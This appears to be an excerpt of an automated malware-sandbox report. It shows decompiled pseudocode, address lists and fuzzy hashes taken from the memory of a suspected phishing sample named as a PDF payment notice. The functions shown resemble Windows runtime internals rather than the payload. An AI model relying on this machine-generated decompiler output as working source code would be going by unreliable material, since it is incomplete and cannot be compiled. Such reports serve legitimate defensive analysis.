						_t67 =  *[fs:0x30];
						__eflags =  *(_t67 + 0x240) & 0x00000004;
						if(( *(_t67 + 0x240) & 0x00000004) != 0) {
							_t100 = L33483C40();
							__eflags = _t100;
							if(_t100 == 0) {
								_t67 = 0x7ffe0385;
							} else {
								_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t67 & 0x00000020;
							if(( *_t67 & 0x00000020) != 0) {
								__eflags = _v12;
								_t67 = E334F0227(0x14a0, 0, 0, (_t67 & 0xffffff00 | _v12 != 0x00000000) - 0x00000001 & 3, _t157, 0);
							}
						}
					}
				}
				L17:
				if(_t159 >= 0) {
					_t155 = 0xc0000225;
					if(_v8 != 9) {
						L34:
						E3348D3E1(_t122,  *_t122, _t159);
						 *_t122 = 0;
						goto L25;
					} else {
						_t159 =  *_t122;
						_t155 = 0;
						L33482330(_t67, 0x33566668);
						_t129 =  *((intOrPtr*)( *_t122 + 0x50));
						_t72 =  *((intOrPtr*)(_t129 + 0xc));
						if(_t72 != 0xffffffff) {
							if(_t72 == 0) {
								_t87 =  *[fs:0x18];
								__eflags =  *(_t87 + 0xfca) & 0x00001000;
								if(( *(_t87 + 0xfca) & 0x00001000) == 0) {
									_t155 = 0xc0000135;
								} else {
									 *((intOrPtr*)(_t129 + 0x10)) =  *((intOrPtr*)(_t129 + 0x10)) + 1;
								}
							} else {
								 *((intOrPtr*)(_t129 + 0xc)) = _t72 + 1;
							}
						}
						E334824D0(0x33566668);
						if(_t155 < 0) {
							goto L34;
						}
						_t160 = _a4;
						_t74 =  *_t122;
						_v20 =  *_t122;
						_v16 = 0;
						if(_t160 != 0) {
							L33482330(_t74, 0x33566668);
							__eflags =  *( *((intOrPtr*)(_t160 + 0x50)) + 0xc);
							if(__eflags == 0) {
								__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
								if(__eflags != 0) {
									goto L28;
								}
								_t155 = 0xc0000135;
								L29:
								E334824D0(0x33566668);
								goto L24;
							}
							L28:
							E3348F143(_t160, _v20, __eflags, 0,  &_v16);
							_t155 = _v16;
							goto L29;
						}
						L24:
						if(_t155 < 0) {
							_t83 =  *( *[fs:0x18] + 0xfca) & 0x00001000;
							__eflags = _t83;
							_t159 = _t83 & 0x0000ffff;
							if(_t83 == 0) {
								__eflags = 0;
								L334919DF(0);
							}
							E334996C7( *_t122, 0);
							__eflags = _t159;
							if(_t159 == 0) {
								L334A79F9();
							}
							__eflags = _t155;
							if(_t155 >= 0) {
								goto L25;
							} else {
								goto L34;
							}
						}
						L25:
						return _t155;
					}
				}
				return _t159;
				goto L65;
			}

0x3348e318
0x3348e31b
0x3348e31d
0x3348e320
0x3348e32d
0x3348e48b
0x3348e491
0x00000000
0x3348e497
0x3348e497
0x3348e4a9
0x00000000
0x3348e4a9
0x3348e333
0x3348e335
0x334d96d0
0x334d96d6
0x334d96e2
0x334d96e4
0x334d96e6
0x334d96e8
0x334d96e8
0x334d96eb
0x334d96ee
0x00000000
0x00000000
0x334d96f0
0x334d96f3
0x00000000
0x334d96f5
0x334d96f5
0x334d96f8
0x334d96fa
0x00000000
0x00000000
0x334d96fc
0x334d96fa
0x00000000
0x334d96f3
0x334d96fe
0x334d96fe
0x334d96fe
0x334d9701
0x334d9704
0x334d970e
0x334d971c
0x334d9720
0x334d9724
0x334d9727
0x334d9727
0x3348e33b
0x3348e33f
0x334d9782
0x334d9782
0x3348e345
0x3348e348
0x3348e34a
0x3348e34d
0x3348e350
0x3348e350
0x3348e353
0x3348e356
0x3348e357
0x3348e35d
0x3348e362
0x334d972f
0x334d9735
0x334d9737
0x334d9742
0x334d9745
0x334d974b
0x334d9764
0x334d976d
0x334d9779
0x334d9779
0x334d9745
0x3348e368
0x3348e368
0x3348e368
0x3348e362
0x3348e374
0x3348e377
0x3348e379
0x3348e350
0x3348e37f
0x00000000
0x00000000
0x3348e37f
0x3348e38a
0x3348e38f
0x3348e394
0x3348e3a3
0x3348e3a7
0x3348e3b1
0x3348e3b1
0x3348e3b9
0x3348e3c0
0x3348e4bb
0x3348e3c6
0x3348e3c6
0x3348e3c6
0x3348e3d4
0x334d9795
0x3348e3da
0x3348e3da
0x3348e3da
0x3348e3e2
0x334d979f
0x334d97a5
0x334d97ac
0x334d97b2
0x334d97b7
0x334d97b9
0x334d97cb
0x334d97bb
0x334d97c4
0x334d97c4
0x334d97d0
0x334d97d3
0x334d97d9
0x334d97f4
0x334d97f4
0x334d97d3
0x334d97ac
0x3348e3e2
0x3348e3e8
0x3348e3ea
0x3348e3f4
0x3348e3f9
0x3348e4c7
0x3348e4c9
0x3348e4ce
0x00000000
0x3348e3ff
0x3348e3ff
0x3348e401
0x3348e408
0x3348e40d
0x3348e410
0x3348e416
0x3348e41a
0x334d97fe
0x334d9809
0x334d9810
0x334d981a
0x334d9812
0x334d9812
0x334d9812
0x3348e420
0x3348e421
0x3348e421
0x3348e41a
0x3348e429
0x3348e430
0x00000000
0x00000000
0x3348e436
0x3348e43b
0x3348e43d
0x3348e440
0x3348e445
0x3348e45f
0x3348e467
0x3348e46a
0x3348e4e4
0x3348e4eb
0x00000000
0x00000000
0x3348e4f1
0x3348e47f
0x3348e484
0x00000000
0x3348e484
0x3348e46c
0x3348e477
0x3348e47c
0x00000000
0x3348e47c
0x3348e447
0x3348e449
0x334d9836
0x334d9836
0x334d9839
0x334d983c
0x334d983e
0x334d9840
0x334d9840
0x334d9849
0x334d984e
0x334d9851
0x334d9853
0x334d9853
0x334d9858
0x334d985a
0x00000000
0x334d9860
0x00000000
0x334d9860
0x334d985a
0x3348e44f
0x00000000
0x3348e44f
0x3348e3f9
0x3348e4b8
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1949d9fe7eae0b0762657ac6cf7b7d72f22a08e24bfdf79261dad9755bc2a98e
Instruction ID: 1e3a83110b5b19300879431fc38dbf5373decb8e88b41a4b092b5aa973916711
Opcode Fuzzy Hash: 1949d9fe7eae0b0762657ac6cf7b7d72f22a08e24bfdf79261dad9755bc2a98e
Instruction Fuzzy Hash: ED914379E01714DFE7108B68C480B6A77B1EF84B44F494069E854DF7A1DB36CD82CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 334793A6 Relevance: .3, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E334793A6(void* __ebx, signed short* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t112;
				signed int _t116;
				signed int _t120;
				signed int _t121;
				signed int _t132;
				signed int _t133;
				signed int _t135;
				signed int _t137;
				signed int _t141;
				signed int _t142;
				intOrPtr _t146;
				signed int _t150;
				signed int _t152;
				signed int _t154;
				signed char _t163;
				signed int _t164;
				signed int* _t165;
				void* _t169;
				signed int _t173;
				signed int _t174;
				signed int _t176;
				signed int _t178;
				signed int _t179;
				signed int _t181;
				void* _t184;
				signed int _t188;
				signed int _t191;
				signed int _t194;
				signed int _t195;
				signed int _t196;
				signed int _t197;
				void* _t198;
				void* _t207;

				_t166 = __ecx;
				_push(0x20);
				_push(0x3354bec0);
				E334C7BE4(__ebx, __edi, __esi);
				 *(_t198 - 0x1c) = __edx;
				 *(_t198 - 0x24) = __ecx;
				if(__ecx == 0) {
					L23:
					_t112 = 0;
					L22:
					 *[fs:0x0] =  *((intOrPtr*)(_t198 - 0x10));
					return _t112;
				}
				_t163 =  *(_t198 + 0x14);
				if((_t163 & 0xffffffcc) != 0 || (_t163 & 0x00000003) == 3) {
					goto L23;
				} else {
					_t116 = _t163 & 0x00000001;
					 *(_t198 - 0x28) = _t116;
					if(_t116 != 0) {
						__eflags = __edx;
						if(__edx != 0) {
							goto L4;
						} else {
							goto L23;
						}
					}
					L4:
					L33482330(_t116, 0x335667e8);
					_t191 = 0;
					 *((intOrPtr*)(_t198 - 4)) = 0;
					_t194 = 0;
					while(1) {
						 *(_t198 - 0x20) = _t194;
						_t207 = _t194 -  *0x33564f44; // 0x4
						if(_t207 >= 0) {
							break;
						}
						_t176 = _t194 << 5;
						 *(_t198 - 0x2c) = _t176;
						_t166 = _t176 +  *0x33564f40;
						if(_t166[2] ==  *(_t198 - 0x24)) {
							__eflags = _t163 & 0x00000002;
							if((_t163 & 0x00000002) != 0) {
								__eflags = _t166[4] - _t191;
								if(_t166[4] != _t191) {
									L21:
									 *((intOrPtr*)(_t198 - 4)) = 0xfffffffe;
									E33479610();
									_t112 = 1;
									goto L22;
								} else {
									goto L27;
								}
							}
							L27:
							__eflags =  *(_t198 - 0x28);
							if( *(_t198 - 0x28) == 0) {
								goto L8;
							}
							__eflags = _t166[8];
							if(_t166[8] == 0) {
								goto L8;
							}
							_t152 =  *((intOrPtr*)(_t198 + 0x10));
							__eflags = _t152;
							if(_t152 == 0) {
								goto L8;
							}
							__eflags =  *_t166 - _t152;
							if( *_t166 != _t152) {
								goto L8;
							}
							_t154 =  *( *(_t198 - 0x1c));
							__eflags = _t154 - 0xffffffff;
							if(_t154 == 0xffffffff) {
								L57:
								_t188 =  *0x33564f40; // 0x314fe10
								_t197 =  *(_t198 - 0x2c);
								 *( *(_t198 - 0x1c)) =  *(_t197 + _t188 + 0x10);
								_t178 =  *(_t198 + 8);
								__eflags = _t178;
								if(_t178 != 0) {
									 *_t178 =  *((intOrPtr*)(_t197 + _t188 + 0x14));
								}
								goto L21;
							} else {
								__eflags = _t163 & 0x00000020;
								if((_t163 & 0x00000020) == 0) {
									_push(_t154 & 0xfffffffc);
									_push(0xffffffff);
									L334B2C50();
									_t179 =  *(_t198 + 8);
									__eflags = _t179;
									if(_t179 != 0) {
										_push( *_t179);
										E334B2A80();
									}
									goto L57;
								}
								__eflags = _t166[8] - 0xffffffff;
								if(_t166[8] == 0xffffffff) {
									_t166[8] = _t191;
								}
								break;
							}
							L32:
							__eflags = _t163 & 0x00000002;
							if((_t163 & 0x00000002) != 0) {
								__eflags = _t166[4] - _t191;
								if(_t166[4] != _t191) {
									goto L33;
								}
								_t166[4] =  *(_t198 + 0xc);
								_t166[0xe] =  *(_t198 + 0x18);
								goto L21;
							}
							L33:
							__eflags = _t163 & 0x00000001;
							if((_t163 & 0x00000001) == 0) {
								L15:
								_t195 = _t195 + 1;
								while(1) {
									L13:
									 *(_t198 - 0x20) = _t195;
									__eflags = _t195 -  *0x33564f44; // 0x4
									if(__eflags >= 0) {
										_t121 = L3347B920(_t166, _t181 & 0xfffffffc);
										__eflags = _t121;
										if(_t121 != 0) {
											 *((short*)(_t184 + _t169)) =  *((intOrPtr*)(_t198 + 0x10));
											 *(_t184 + _t169 + 0xc) =  *(_t198 - 0x2c);
											 *(_t184 + _t169 + 0x1c) =  *(_t198 + 0x18);
											__eflags =  *0x33564f50;
											if( *0x33564f50 != 0) {
												__eflags = _t164;
												if(_t164 != 0) {
													_t196 = _t195 << 5;
													_t132 = E334FFB45(_t169 + _t196, 1);
													__eflags = _t132;
													if(_t132 >= 0) {
														__eflags =  *0x33564f50 & 0x00000002;
														if(( *0x33564f50 & 0x00000002) != 0) {
															_t133 =  *0x33564f40; // 0x314fe10
															__eflags =  *((intOrPtr*)(_t196 + _t133 + 0x1c)) - 0xc0000019;
															if( *((intOrPtr*)(_t196 + _t133 + 0x1c)) == 0xc0000019) {
																 *( *(_t198 - 0x1c)) =  *(_t196 + _t133 + 0x10);
															}
														}
													}
												}
											}
											 *0x33564f44 =  *0x33564f44 + 1;
											__eflags =  *0x33564f44;
										}
										goto L21;
									}
									_t173 = _t195 << 5;
									 *(_t198 - 0x2c) = _t173;
									_t166 = _t173 +  *0x33564f40;
									__eflags = _t166[2] - _t181;
									if(_t166[2] == _t181) {
										goto L32;
									}
									goto L15;
								}
								goto L21;
							}
							__eflags = _t166[8] - _t191;
							if(_t166[8] != _t191) {
								goto L15;
							}
							_t135 =  *_t166 & 0x0000ffff;
							__eflags = _t135 -  *((intOrPtr*)(_t198 + 0x10));
							if(_t135 ==  *((intOrPtr*)(_t198 + 0x10))) {
								L37:
								_t165 =  *(_t198 - 0x1c);
								_t166[8] =  *_t165;
								_t137 =  *(_t198 + 8);
								__eflags = _t137;
								if(_t137 != 0) {
									_t191 =  *_t137;
								}
								_t166[0xa] = _t191;
								 *_t166 =  *((intOrPtr*)(_t198 + 0x10));
								_t166[0xe] =  *(_t198 + 0x18);
								_t166[0xc] =  *(_t198 + 0x1c);
								__eflags =  *0x33564f50;
								if( *0x33564f50 != 0) {
									_t141 = E334FFB45(_t166, 1);
									__eflags = _t141;
									if(_t141 >= 0) {
										__eflags =  *0x33564f50 & 0x00000002;
										if(( *0x33564f50 & 0x00000002) != 0) {
											_t174 =  *0x33564f40; // 0x314fe10
											_t142 =  *(_t198 - 0x2c);
											__eflags =  *((intOrPtr*)(_t142 + _t174 + 0x1c)) - 0xc0000019;
											if( *((intOrPtr*)(_t142 + _t174 + 0x1c)) == 0xc0000019) {
												 *_t165 =  *(_t142 + _t174 + 0x10);
											}
										}
									}
								}
								goto L21;
							}
							__eflags = _t135;
							if(_t135 != 0) {
								goto L15;
							}
							goto L37;
						} else {
							if((_t163 & 0x00000010) != 0) {
								__eflags =  *0x33564f50;
								if( *0x33564f50 != 0) {
									__eflags = _t166[0xa];
									if(_t166[0xa] != 0) {
										__eflags = _t166[0xa] - 0xffffffff;
										if(_t166[0xa] != 0xffffffff) {
											E334FFB45(_t166, 0);
										}
									}
								}
							}
							L8:
							_t194 = _t194 + 1;
							continue;
						}
					}
					__eflags = _t163 & 0x00000010;
					if((_t163 & 0x00000010) != 0) {
						goto L21;
					}
					__eflags =  *0x33564f40;
					if( *0x33564f40 == 0) {
						_t120 = L33485D90(_t166,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0x400);
						__eflags = _t120;
						if(_t120 == 0) {
							goto L21;
						} else {
							 *0x33564f40 = _t120;
							 *0x33564f48 = 0x20;
							L12:
							_t195 = _t191;
							_t181 =  *(_t198 - 0x24);
							goto L13;
						}
					}
					_t146 =  *0x33564f48; // 0x20
					__eflags =  *0x33564f44 - _t146; // 0x4
					if(__eflags >= 0) {
						_t150 = E33482710( *((intOrPtr*)( *[fs:0x30] + 0x18)), "true",  *0x33564f40, _t146 + 0x20 << 5);
						__eflags = _t150;
						if(_t150 == 0) {
							goto L21;
						}
						 *0x33564f40 = _t150;
						 *0x33564f48 =  *0x33564f48 + 0x20;
					}
					goto L12;
				}
			}

0x334793a6
0x334793a6
0x334793a8
0x334793ad
0x334793b2
0x334793b7
0x334793bc
0x3347950d
0x3347950d
0x334794fb
0x334794fe
0x3347950a
0x3347950a
0x334793c2
0x334793cb
0x00000000
0x334793de
0x334793e0
0x334793e3
0x334793e6
0x33479511
0x33479513
0x00000000
0x33479519
0x00000000
0x33479519
0x33479513
0x334793ec
0x334793f1
0x334793f6
0x334793f8
0x334793fb
0x334793fd
0x334793fd
0x33479400
0x33479406
0x00000000
0x00000000
0x3347940a
0x3347940d
0x33479410
0x3347941c
0x3347951b
0x3347951e
0x334d251c
0x334d251f
0x334794ed
0x334794ed
0x334794f4
0x334794f9
0x00000000
0x334d2525
0x00000000
0x334d2525
0x334d251f
0x33479524
0x33479524
0x33479528
0x00000000
0x00000000
0x3347952e
0x33479532
0x00000000
0x00000000
0x33479538
0x3347953c
0x3347953f
0x00000000
0x00000000
0x33479545
0x33479548
0x00000000
0x00000000
0x334d252d
0x334d252f
0x334d2532
0x334d2564
0x334d2564
0x334d256a
0x334d2574
0x334d2576
0x334d2579
0x334d257b
0x334d2585
0x334d2585
0x00000000
0x334d2534
0x334d2534
0x334d2537
0x334d254e
0x334d254f
0x334d2551
0x334d2556
0x334d2559
0x334d255b
0x334d255d
0x334d255f
0x334d255f
0x00000000
0x334d255b
0x334d2539
0x334d253d
0x334d2543
0x334d2543
0x00000000
0x334d253d
0x33479553
0x33479553
0x33479556
0x334d25ef
0x334d25f2
0x00000000
0x00000000
0x334d25fb
0x334d2601
0x00000000
0x334d2601
0x3347955c
0x3347955c
0x3347955f
0x3347947c
0x3347947c
0x3347945a
0x3347945a
0x3347945a
0x3347945d
0x33479463
0x33479483
0x33479488
0x3347948a
0x334794c8
0x334794cf
0x334794d6
0x334794da
0x334794e1
0x334d2647
0x334d2649
0x334d264f
0x334d2656
0x334d265b
0x334d265d
0x334d2663
0x334d266a
0x334d2670
0x334d2675
0x334d267d
0x334d268a
0x334d268a
0x334d267d
0x334d266a
0x334d265d
0x334d2649
0x334794e7
0x334794e7
0x334794e7
0x00000000
0x3347948a
0x33479467
0x3347946a
0x3347946d
0x33479473
0x33479476
0x00000000
0x00000000
0x00000000
0x33479476
0x00000000
0x3347945a
0x33479565
0x33479568
0x00000000
0x00000000
0x3347956e
0x33479571
0x33479575
0x33479580
0x33479580
0x33479585
0x33479588
0x3347958b
0x3347958d
0x3347958f
0x3347958f
0x33479591
0x33479598
0x3347959e
0x334795a4
0x334795a7
0x334795ae
0x334d260b
0x334d2610
0x334d2612
0x334d2618
0x334d261f
0x334d2625
0x334d262b
0x334d262e
0x334d2636
0x334d2640
0x334d2640
0x334d2636
0x334d261f
0x334d2612
0x00000000
0x334795ae
0x33479577
0x3347957a
0x00000000
0x00000000
0x00000000
0x33479422
0x33479425
0x334d258c
0x334d2593
0x334d2599
0x334d259d
0x334d25a3
0x334d25a7
0x334d25af
0x334d25af
0x334d25a7
0x334d259d
0x334d2593
0x3347942b
0x3347942b
0x00000000
0x3347942b
0x3347941c
0x3347942e
0x33479431
0x00000000
0x00000000
0x33479437
0x3347943e
0x334795c9
0x334795ce
0x334795d0
0x00000000
0x334795d6
0x334795d6
0x334795db
0x33479455
0x33479455
0x33479457
0x00000000
0x33479457
0x334795d0
0x33479444
0x33479449
0x3347944f
0x334d25d1
0x334d25d6
0x334d25d8
0x00000000
0x00000000
0x334d25de
0x334d25e3
0x334d25e3
0x00000000
0x3347944f

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a7b16afb5928b4418f4b23125126061b09e33da612dca03b5fea24077c8f7e
Instruction ID: a69ad7cbe300a60fed0b9d45395f123e7704fc003b55cc2ddc748e60f683cd7c
Opcode Fuzzy Hash: c9a7b16afb5928b4418f4b23125126061b09e33da612dca03b5fea24077c8f7e
Instruction Fuzzy Hash: 18B14CB89043068FDB14DF28D580AA9B7F4BF09394F584559E871AB392DB71D883CB98

Uniqueness

Uniqueness Score: -1.00%

Function 33477290 Relevance: .2, Instructions: 247
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E33477290(intOrPtr _a4, intOrPtr _a12, intOrPtr _a16) {
				signed int _v0;
				signed int _v8;
				char _v12;
				signed char _v16;
				signed char _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed char _v60;
				intOrPtr* _v64;
				signed int _v68;
				intOrPtr* _v72;
				signed int _v76;
				void* _v80;
				signed int _v92;
				intOrPtr _v128;
				signed int _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t192;
				signed int _t194;
				char* _t198;
				signed int _t200;
				signed int _t202;
				signed int _t204;
				char* _t207;
				signed int _t214;
				char* _t217;
				void* _t221;
				signed int _t224;
				signed int* _t225;
				signed int _t226;
				signed int _t227;
				signed int* _t229;
				signed int _t230;
				char* _t233;
				intOrPtr _t235;
				char _t238;
				intOrPtr _t239;
				signed char _t242;
				signed int _t245;
				signed int _t246;
				signed int _t249;
				signed int _t252;
				signed int _t253;
				void* _t260;
				void* _t263;
				signed int* _t264;
				signed int _t265;
				signed int _t267;
				intOrPtr* _t268;
				signed int _t270;
				signed int _t271;
				intOrPtr _t274;
				intOrPtr _t275;
				signed int _t278;
				intOrPtr _t279;
				void* _t280;
				intOrPtr _t281;
				intOrPtr _t283;
				signed int _t285;
				signed int _t292;
				intOrPtr* _t299;
				signed int* _t300;
				intOrPtr _t301;
				intOrPtr _t311;
				intOrPtr _t317;
				signed int _t318;
				signed int* _t326;
				signed int _t327;
				intOrPtr _t328;
				intOrPtr _t333;
				signed int _t334;
				signed int _t342;
				signed int _t343;
				char _t345;
				intOrPtr _t347;
				signed int _t348;
				signed int _t350;
				intOrPtr* _t354;
				signed int _t360;
				signed int _t361;
				intOrPtr* _t362;
				void* _t363;
				signed int _t364;
				intOrPtr _t369;
				intOrPtr _t370;
				intOrPtr _t371;
				signed int _t372;
				intOrPtr _t376;
				intOrPtr _t377;
				signed int* _t380;
				void* _t381;
				signed int* _t382;
				intOrPtr _t385;
				intOrPtr _t390;
				signed int _t392;
				signed int _t396;
				signed int _t398;
				void* _t414;

				_t392 = _t396;
				_t398 = (_t396 & 0xfffffff8) - 0x4c;
				_v8 =  *0x3356b370 ^ _t398;
				_t287 = 0;
				_v48 = _a4;
				_v56 = _a12;
				_v28 = 0;
				_v20 = 0;
				_v16 = 0;
				if( *((intOrPtr*)(_a16 + 4)) != 0) {
					_v60 = 1;
					while(1) {
						_t278 =  *0x7ffe0018;
						_v72 =  *0x7FFE0014;
						__eflags = _t278 -  *0x7FFE001C;
						if(_t278 ==  *0x7FFE001C) {
							break;
						}
						asm("pause");
					}
					_push("true");
				} else {
					_v60 = 0;
					_t354 = 0x7ffe03b0;
					goto L2;
					do {
						do {
							L2:
							_t270 =  *0x335667f0; // 0x0
							_v76 = _t270;
							_t271 =  *0x335667f4; // 0x0
							_v40 = _t271;
							_v44 =  *((intOrPtr*)(_t354 + 4));
							_v72 =  *_t354;
							while(1) {
								_t278 =  *0x7FFE000C;
								_t328 =  *0x7FFE0008;
								if(_t278 ==  *0x7ffe0010) {
									goto L4;
								}
								asm("pause");
							}
							L4:
							_t376 = _v44;
							_t354 = 0x7ffe03b0;
							_t274 =  *0x7ffe03b0;
							_t390 =  *0x7FFE03B4;
							_v52 = _t274;
						} while (_v72 != _t274 || _t376 != _t390);
						_t275 =  *0x335667f0; // 0x0
						_t377 =  *0x335667f4; // 0x0
					} while (_v76 != _t275 || _v40 != _t377);
					_push(0x50);
					asm("sbb ebx, esi");
					_v72 = _t328 - _v52 - _v76;
					asm("sbb ebx, eax");
					_t287 = 0;
				}
				_t359 = _v56;
				_t333 = _v48;
				_pop(_t192);
				_t380 = _t192 + _v56;
				if(_t333 == 0 ||  *((intOrPtr*)(_t333 + 0x24)) != _t287) {
					E33544A6D(_t278, _t287, _t333, _t359, _t380);
				} else {
					 *((intOrPtr*)(_t333 + 0x24)) = 3;
				}
				_t194 =  &_v68;
				_v64 = _t194;
				_v68 = _t194;
				if(L33483C40() != 0) {
					_t198 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				} else {
					_t198 = 0x7ffe0386;
				}
				if( *_t198 != 0) {
					_t198 = L33544FFF(_t380);
				}
				L33482330(_t198, _t359);
				while(1) {
					_t360 = _t380[2];
					_t334 = _t360;
					if(_t360 == 0) {
						break;
					}
					_t414 =  *((intOrPtr*)(_t360 + 0x1c)) - _t278;
					if(_t414 > 0 || _t414 >= 0 &&  *((intOrPtr*)(_t360 + 0x18)) > _v72) {
						break;
					} else {
						L43();
						_t342 = _t360 - 0x18;
						L43();
						 *((char*)(_t360 + 0x2c)) = 0;
						_t225 =  &_v68;
						_t299 = _v64;
						if( *_t299 != _t225) {
							_push("true");
							_pop(_t300);
							asm("int 0x29");
							_t226 =  *_t300;
							__eflags = _t342 - _t226;
							if(_t342 != _t226) {
								_t227 =  *_t342;
								__eflags =  *(_t227 + 4) - _t342;
								if( *(_t227 + 4) != _t342) {
									L49:
									_push("true");
									_pop(_t300);
									asm("int 0x29");
								} else {
									_push(_t380);
									_t380 =  *(_t342 + 4);
									_push(_t360);
									__eflags =  *_t380 - _t342;
									if( *_t380 != _t342) {
										goto L49;
									} else {
										 *_t380 = _t227;
										 *(_t227 + 4) = _t380;
										_t96 = _t342 + 8; // 0xa0
										_t380 = _t96;
										 *(_t342 + 4) = _t342;
										 *_t342 = _t342;
										_t360 =  *_t380;
										_t267 =  *_t300;
										__eflags =  *(_t360 + 4) - _t380;
										if( *(_t360 + 4) != _t380) {
											goto L49;
										} else {
											 *_t267 = _t360;
											 *(_t267 + 4) = _t380;
											 *(_t360 + 4) = _t267;
											 *_t380 = _t267;
											_t226 = _t342;
											_pop(_t360);
											 *_t300 = _t342;
											_pop(_t380);
											goto L44;
										}
									}
								}
							} else {
								L44:
								 *(_t226 + 0x10) =  *(_t226 + 0x10) & 0x00000000;
								 *(_t226 + 0x14) =  *(_t226 + 0x14) & 0x00000000;
							}
							_push(_t380);
							_t382 = _t300;
							_push(_t360);
							_t364 =  *_t382;
							__eflags = _t364;
							if(_t364 == 0) {
								L53:
								return _t364;
							} else {
								_t229 = _t364 + 8;
								_t343 =  *_t229;
								__eflags = _t343 - _t229;
								if(_t343 != _t229) {
									__eflags =  *(_t343 + 4) - _t229;
									if( *(_t343 + 4) != _t229) {
										L67:
										_push("true");
										_pop(_t301);
										asm("int 0x29");
										_push(_t392);
										_push(_t278);
										_push(_t382);
										_push(_t364);
										_t384 = _t343;
										_t366 = _t301;
										_v132 = _t343;
										_v128 = _t301;
										_t230 = L33483C40();
										__eflags = _t230;
										if(_t230 != 0) {
											_t233 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t233 = 0x7ffe0386;
										}
										__eflags =  *_t233;
										if( *_t233 != 0) {
											__eflags = _v0;
											L33544F7C(((0 | _v0 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + _t384, _t366);
										}
										goto L71;
										do {
											do {
												do {
													do {
														L71:
														_t235 =  *0x335667f0; // 0x0
														_t345 =  *0x335667f4; // 0x0
														_v24 = _t235;
														_v12 = _t345;
														_v20 =  *((intOrPtr*)(0x7ffe03b4));
														_v16 =  *0x7ffe03b0;
														while(1) {
															_t385 =  *0x7ffe000c;
															_t281 =  *((intOrPtr*)(0x7ffe0008));
															__eflags = _t385 -  *0x7FFE0010;
															if(_t385 ==  *0x7FFE0010) {
																goto L73;
															}
															asm("pause");
														}
														L73:
														_t347 = _v12;
														_t369 = _v20;
														_t238 =  *0x7ffe03b0;
														_t311 =  *((intOrPtr*)(0x7ffe03b4));
														_v28 = _t238;
														__eflags = _v16 - _t238;
													} while (_v16 != _t238);
													__eflags = _t369 - _t311;
												} while (_t369 != _t311);
												_t239 =  *0x335667f0; // 0x0
												_t370 =  *0x335667f4; // 0x0
												_v20 = _t370;
												_t371 = _v24;
												__eflags = _t371 - _t239;
											} while (_t371 != _t239);
											__eflags = _t347 - _v20;
										} while (_t347 != _v20);
										asm("sbb esi, ecx");
										_t283 = _t281 - _v28 - _t371;
										_t372 = _v32;
										asm("sbb esi, edx");
										_t136 = _t372 + 0x90; // 0x90
										L33482330(_t136, _t136);
										_t242 =  *((intOrPtr*)(_t372 + 0xde));
										 *((char*)(_t372 + 0xde)) = 0;
										__eflags = _t242 & 0x00000004;
										if((_t242 & 0x00000004) != 0) {
											_t181 = _t372 + 0x90; // 0x90
											 *(_t372 + 0xd8) = 0;
											 *((intOrPtr*)(_t372 + 0xc8)) = 0;
											 *((intOrPtr*)(_t372 + 0xcc)) = 0;
											 *((intOrPtr*)(_t372 + 0xd0)) = 0;
											E334824D0(_t181);
											_t245 = L335449D2( *((intOrPtr*)(_t372 + 0xd0)));
										} else {
											__eflags =  *(_t372 + 0xdd);
											if( *(_t372 + 0xdd) != 0) {
												 *((intOrPtr*)(_t372 + 0xc8)) = 0;
												 *((intOrPtr*)(_t372 + 0xcc)) = 0;
												_t249 = L334ACC67();
												__eflags = _t249;
												if(_t249 != 0) {
													goto L86;
												} else {
													goto L87;
												}
												L89:
												return _t246;
												goto L106;
											} else {
												_t348 =  *(_t372 + 0xd8);
												__eflags = _t348;
												if(_t348 != 0) {
													__eflags = _v0;
													if(_v0 != 0) {
														_t317 = _t283;
														_v12 = _t385;
													} else {
														_t317 =  *((intOrPtr*)(_t372 + 0xc8));
														_v12 =  *((intOrPtr*)(_t372 + 0xcc));
													}
													_t252 = _t348;
													_t350 = _t252 * 0x2710 >> 0x20;
													_t253 = _t252 * 0x2710;
													_t318 = _t317 + _t253;
													_v16 = _t253;
													_t254 = _v12;
													asm("adc eax, edx");
													_v28 = 0x2710;
													_v32 = _t318;
													_v12 = _t254;
													 *((intOrPtr*)(_t372 + 0xc8)) = _t318;
													 *((intOrPtr*)(_t372 + 0xcc)) = _t254;
													__eflags = _t254 - _t385;
													if(__eflags <= 0) {
														if(__eflags < 0) {
															L90:
															asm("sbb eax, [ebp-0x4]");
															_t260 = E334B6540(_t283 - _v32, _t385, _v16, _t350);
															_t254 = _v28;
															asm("sbb eax, edx");
															 *((intOrPtr*)(_t372 + 0xc8)) = _v16 - _t260 + _t283;
															asm("adc eax, esi");
															 *((intOrPtr*)(_t372 + 0xcc)) = _v28;
														} else {
															__eflags = _t318 - _t283;
